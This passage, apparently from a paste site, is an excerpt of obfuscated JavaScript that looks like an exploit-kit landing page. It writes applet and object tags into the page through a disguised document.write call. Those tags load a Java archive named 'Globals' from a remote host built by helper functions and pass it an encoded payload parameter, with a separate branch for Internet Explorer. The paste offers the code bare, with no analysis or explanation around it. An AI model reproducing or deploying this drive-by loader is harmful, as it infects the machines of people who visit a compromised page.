  1803.          klqwght[klfg1 + klfg2](tmp1 + '' + getJnlpHref() + '"/><param name="jnlp_embedded" value="' + getJnlp() + '"/><param name="exteeec" value="' + getData() + '"/></object>');
  1804.      } else {
  1805.          if (navigator.userAgent.indexOf('MSIE') >= 0) {
  1806.              klqwght[klfg1 + klfg2]('<object classid="clsid:8AD9C840-044E-11D1-B3E9-00805F499D93"><param name="code" value="Globals"><param name="archive" value="http://' + getKolaio() + '/' + getTxl() + '"><param name="type" value="application/x-java-applet"/><param name="exteeec" value="' + getData() + '"/></object>');
  1807.          } else {
  1808.              klqwght[klfg1 + klfg2]('<applet code="Globals" archive="http://' + getKolaio() + '/' + getTxl() + '"><param name="exteeec" value="' + getData() + '"/></applet>');
  1809.          }
  1810.      }
  1811.  }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement